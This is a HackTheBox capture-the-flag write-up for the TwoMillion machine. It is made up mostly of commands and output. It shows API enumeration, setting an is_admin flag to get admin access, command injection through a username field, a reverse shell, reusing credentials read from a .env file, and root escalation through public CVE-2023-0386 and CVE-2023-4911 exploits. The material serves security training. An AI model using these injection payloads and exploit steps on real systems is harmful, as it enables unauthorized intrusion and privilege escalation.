Post

HackTheBox TwoMillion Writeup

TwoMillion

Nmap Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Nmap 7.95 scan initiated Thu May 29 10:47:11 2025 as: /usr/lib/nmap/nmap -sC -sV -vv -oN nmap 10.10.11.221
Nmap scan report for 10.10.11.221
Host is up, received echo-reply ttl 63 (0.079s latency).
Scanned at 2025-05-29 10:47:13 CDT for 12s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx
|_http-title: Did not follow redirect to http://2million.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 29 10:47:25 2025 -- 1 IP address (1 host up) scanned in 14.21 seconds

HTTP Enumeration Port 80

According to the nmap output, it redirects to 2million.htb, so I added this domain to my /etc/hosts file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ curl 2million.htb -v      
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> GET / HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 May 2025 07:29:08 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Set-Cookie: PHPSESSID=o0rdhkgh4nfh0s3dt4o3713p36; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 

Login Page

Tried SQL Injection… failed

Invite Code Page

Tried SQL Injection… failed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!-- scripts -->
    <script src="/js/htb-frontend.min.js"></script>
    <script defer src="/js/inviteapi.min.js"></script>
    <script defer>
        $(document).ready(function() {
            $('#verifyForm').submit(function(e) {
                e.preventDefault();

                var code = $('#code').val();
                var formData = { "code": code };

                $.ajax({
                    type: "POST",
                    dataType: "json",
                    data: formData,
                    url: '/api/v1/invite/verify',
                    success: function(response) {
                        if (response[0] === 200 && response.success === 1 && response.data.message === "Invite code is valid!") {
                            // Store the invite code in localStorage
                            localStorage.setItem('inviteCode', code);

                            window.location.href = '/register';
                        } else {
                            alert("Invalid invite code. Please try again.");
                        }
                    },
                    error: function(response) {
                        alert("An error occurred. Please try again.");
                    }
                });
            });
        });
    </script>

If the invite code is valid, it redirects to /register. I tried visiting the endpoint without a valid invite code.

Register Page

Let’s try to create a user?

It requires an invite code… I tried modifying the invite code to a random word.

Try SQL Injection again… failed

Going back to the source code, I noticed the webpage includes a custom JavaScript file called inviteapi.min.js.

The content of it is:

1
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

Let’s de-obfuscate it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
eval(
  (function (p, a, c, k, e, d) {
    e = function (c) {
      return c.toString(36)
    }
    if (!''.replace(/^/, String)) {
      while (c--) {
        d[c.toString(a)] = k[c] || c.toString(a)
      }
      k = [
        function (e) {
          return d[e]
        },
      ]
      e = function () {
        return '\\w+'
      }
      c = 1
    }
    while (c--) {
      if (k[c]) {
        p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
      }
    }
    return p
  })(
    '1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',
    24,
    24,
    'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split(
      '|'
    ),
    0,
    {}
  )
)

Running this code gave me the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function verifyInviteCode(code) {
  var formData = { code: code }
  $.ajax({
    type: 'POST',
    dataType: 'json',
    data: formData,
    url: '/api/v1/invite/verify',
    success: function (response) {
      console.log(response)
    },
    error: function (response) {
      console.log(response)
    },
  })
}
function makeInviteCode() {
  $.ajax({
    type: 'POST',
    dataType: 'json',
    url: '/api/v1/invite/how/to/generate',
    success: function (response) {
      console.log(response)
    },
    error: function (response) {
      console.log(response)
    },
  })
}

I found an API endpoint that generates invite codes. Let’s try sending a POST request to it.

1
2
3
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/invite/how/to/generate
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}

The data looks like it’s encrypted with ROT13. Let’s decrypt it.

It tells us to go to /api/v1/invite/generate again, let’s try:

1
2
3
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/invite/generate       
{"0":200,"success":1,"data":{"code":"Ulg2VzItTjJONjAtOFhZWDItSEFFOVM=","format":"encoded"}} 

Great, we have an encoded code. It looks like Base64, so let’s decode it.

1
2
3
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ echo 'Ulg2VzItTjJONjAtOFhZWDItSEFFOVM=' | base64 -d                                                                                                
RX6W2-N2N60-8XYX2-HAE9S

Let’s now register with creds: wzwr@email.com:wzwr

We can download an ovpn file? I’ll make a note of that for now…

By looking at the api that get the ovpn, we found /api/v1/user/vpn/generate, we can try to brute force api with /api/v1/user ot /api/v1/admin to find any interesting…

API Scanning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ ffuf -u "http://2million.htb/api/v1/admin/FUZZ" -w /usr/share/wordlists/SecLists-2024.4/Discovery/Web-Content/api/api-endpoints-res.txt -fc 301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://2million.htb/api/v1/admin/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-2024.4/Discovery/Web-Content/api/api-endpoints-res.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

auth                    [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 56ms]
auth                    [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 95ms]
:: Progress: [12334/12334] :: Job [1/1] :: 439 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ ffuf -u "http://2million.htb/FUZZ" -w /usr/share/wordlists/SecLists-2024.4/Discovery/Web-Content/swagger.txt -fc 301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://2million.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-2024.4/Discovery/Web-Content/swagger.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

api                     [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 56ms]
:: Progress: [55/55] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

We got the list of api. Let try to enumerate the update user settings API.

Test API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ curl -X PUT "http://2million.htb/api/v1/admin/settings/update" -v -H 'Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u'
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.8.0
> Accept: */*
> Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 May 2025 08:09:41 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"status":"danger","message":"Invalid content type."}

Let’s try using json as content type:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ curl -X PUT "http://2million.htb/api/v1/admin/settings/update" -v -H 'Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u' -H 'Content-Type: application/json'
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.8.0
> Accept: */*
> Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u
> Content-Type: application/json
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 May 2025 08:18:29 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"status":"danger","message":"Missing parameter: email"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ curl -X PUT "http://2million.htb/api/v1/admin/settings/update" -v -H 'Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u' -H 'Content-Type: application/json' --data '{"email": "wzwr@email.com"}'
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.8.0
> Accept: */*
> Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u
> Content-Type: application/json
> Content-Length: 27
> 
* upload completely sent off: 27 bytes
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 May 2025 08:18:59 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"status":"danger","message":"Missing parameter: is_admin"} 

We keep doing this until success

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ curl -X PUT "http://2million.htb/api/v1/admin/settings/update" -v -H 'Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u' -H 'Content-Type: application/json' --data '{"email": "wzwr@email.com", "is_admin": 1}'  
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.8.0
> Accept: */*
> Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u
> Content-Type: application/json
> Content-Length: 42
> 
* upload completely sent off: 42 bytes
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 May 2025 08:19:30 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"id":13,"username":"wzwr","is_admin":1}

Oh, seems like we success? Let’s try to curl the admin api

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ curl -X POST "http://2million.htb/api/v1/admin/vpn/generate" -v -H 'Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u'                                    
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.8.0
> Accept: */*
> Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 May 2025 08:20:38 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"status":"danger","message":"Invalid content type."}

Hmm, let’s try the method again with json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ curl -X POST "http://2million.htb/api/v1/admin/vpn/generate" -v -H 'Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u' -H 'Content-Type: application/json' --data '{"username": "wzwr"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.8.0
> Accept: */*
> Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u
> Content-Type: application/json
> Content-Length: 20
> 
* upload completely sent off: 20 bytes
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 May 2025 08:21:26 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
...

It needs a username and outputs the wzwr.ovpn file. Let’s view the command for generating ovpn files: https://documentation.ubuntu.com/server/how-to/security/install-openvpn/index.html

Let’s try command injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ curl -X POST "http://2million.htb/api/v1/admin/vpn/generate" -v -H 'Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u' -H 'Content-Type: application/json' --data '{"username": "wzwr;id;"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.8.0
> Accept: */*
> Cookie: PHPSESSID=86dbkvgfr4edt4jmqikl6n0o9u
> Content-Type: application/json
> Content-Length: 24
> 
* upload completely sent off: 24 bytes
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 May 2025 08:27:24 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
* Connection #0 to host 2million.htb left intact

Good!, now we can try to construct a reverse shell.

1
2
3
4
5
6
7
8
9
10
11
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ nc -lvnp 58787
listening on [any] 58787 ...
connect to [10.10.16.24] from (UNKNOWN) [10.10.11.221] 39510
bash: cannot set terminal process group (1173): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$ whoami
whoami
www-data
www-data@2million:~/html$ 

Subdomain Scanning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ ffuf -u http://2million.htb -w /usr/share/wordlists/SecLists-2024.4/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host: FUZZ.2million.htb'  -r -fs 64952

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://2million.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-2024.4/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.2million.htb
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 64952
________________________________________________

:: Progress: [19966/19966] :: Job [1/1] :: 286 req/sec :: Duration: [0:01:07] :: Errors: 0 ::

Post-Exploitation

MYSQL?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@2million:~/html$ netstat -tunlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1208/nginx: worker  
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      1208/nginx: worker  
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*

It looks like MySQL is running, so I’ll try to find the configuration file to harvest credentials.

1
2
3
4
5
6
7
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
www-data@2million:~/html$ 

We get the password! Luckily, the admin user also exists on the machine, so we can try password-spraying against admin to login via ssh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(wzwr㉿kali)-[~/Documents/htb/twomillion]
└─$ ssh admin@2million.htb  
The authenticity of host '2million.htb (10.10.11.221)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '2million.htb' (ED25519) to the list of known hosts.
admin@2million.htb's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu May 29 08:30:28 AM UTC 2025

  System load:  0.12158203125     Processes:             226
  Usage of /:   81.0% of 4.82GB   Users logged in:       0
  Memory usage: 10%               IPv4 address for eth0: 10.10.11.221
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Tue Jun  6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:~$ 

Good!

Quick Check Admin

1
2
3
4
5
6
7
admin@2million:~$ sudo -l
[sudo] password for admin: 
Sorry, user admin may not run sudo on localhost.
admin@2million:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@2million:~$ crontab -l
no crontab for admin

Linpeas

1
2
3
4
5
6
7
8
9
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                                                                 
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                                                                            
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -
1
2
3
4
5
6
7
╔══════════╣ Checking Pkexec policy
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html#pe---method-2                                  
                                                                                                                                                            
[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:admin

Pspy

1
2025/05/29 08:40:09 CMD: UID=0     PID=781    | /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0

Nothing interesting…

Mail

Hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather
admin@2million:/var/mail$ 

Seems like it is a hint that the kernel has a CVE related to OverlayFS / FUSE. Searching for it revealed: https://www.vicarius.io/vsociety/posts/cve-2023-0386-a-linux-kernel-bug-in-overlayfs

We can try the exploit: https://github.com/sxlmnwb/CVE-2023-0386

In the first terminal:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
admin@2million:~/CVE-2023-0386$ ls
exp  exp.c  fuse  fuse.c  gc  getshell.c  Makefile  ovlcap  README.md  test
admin@2million:~/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601


In the second terminal:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
admin@2million:~$ cd CVE-2023-0386/
admin@2million:~/CVE-2023-0386$ ls
exp  exp.c  fuse  fuse.c  gc  getshell.c  Makefile  ovlcap  README.md  test
admin@2million:~/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 May 29 08:47 .
drwxrwxr-x 6 root   root     4096 May 29 08:47 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:~/CVE-2023-0386# sudo ls
exp  exp.c  fuse  fuse.c  gc  getshell.c  Makefile  ovlcap  README.md  test
root@2million:~/CVE-2023-0386# sudo ls /root
root.txt  snap  thank_you.json
root@2million:~/CVE-2023-0386# sudo cat /root/root.txt
3bda528d36955f0f6a936e45af091690
root@2million:~/CVE-2023-0386# 

Second Privilege Escalation (Bonus)

By checking the version of the GLIBC library:

1
2
3
4
5
6
root@2million:~/CVE-2023-0386# ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

By searching for an exploit for version 2.35, we found https://github.com/NishanthAnand21/CVE-2023-4911-PoC, which is CVE-2023-4911.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
admin@2million:~/CVE-2023-4911-PoC$ ./exploit 
try 100
try 200
try 300
try 400
try 500
try 600
try 700
try 800
try 900
try 1000
try 1100
try 1200
try 1300
try 1400
try 1500

Usage:
 su [options] [-] [<user> [<argument>...]]

Change the effective user ID and group ID to that of <user>.
A mere - implies -l.  If <user> is not given, root is assumed.

Options:
 -m, -p, --preserve-environment      do not reset environment variables
 -w, --whitelist-environment <list>  don't reset specified variables

 -g, --group <group>             specify the primary group
 -G, --supp-group <group>        specify a supplemental group

 -, -l, --login                  make the shell a login shell
 -c, --command <command>         pass a single command to the shell with -c
 --session-command <command>     pass a single command to the shell with -c
                                   and do not create a new session
 -f, --fast                      pass -f to the shell (for csh or tcsh)
 -s, --shell <shell>             run <shell> if /etc/shells allows it
 -P, --pty                       create a new pseudo-terminal

 -h, --help                      display this help
 -V, --version                   display version

For more details see su(1).
try 1600
try 1700
try 1800
try 1900
try 2000
try 2100
try 2200
try 2300
try 2400
try 2500
try 2600
try 2700
try 2800
try 2900
try 3000
try 3100
try 3200
try 3300
try 3400
try 3500
try 3600
try 3700
try 3800
try 3900
try 4000
try 4100
try 4200
try 4300
try 4400
try 4500
try 4600
try 4700
try 4800
try 4900
try 5000
try 5100
# id
uid=0(root) gid=1000(admin) groups=1000(admin)
# ls
'"'   README.md   exploit   exploit.c   genlib.py   images
# 
This post is licensed under CC BY 4.0 by the author.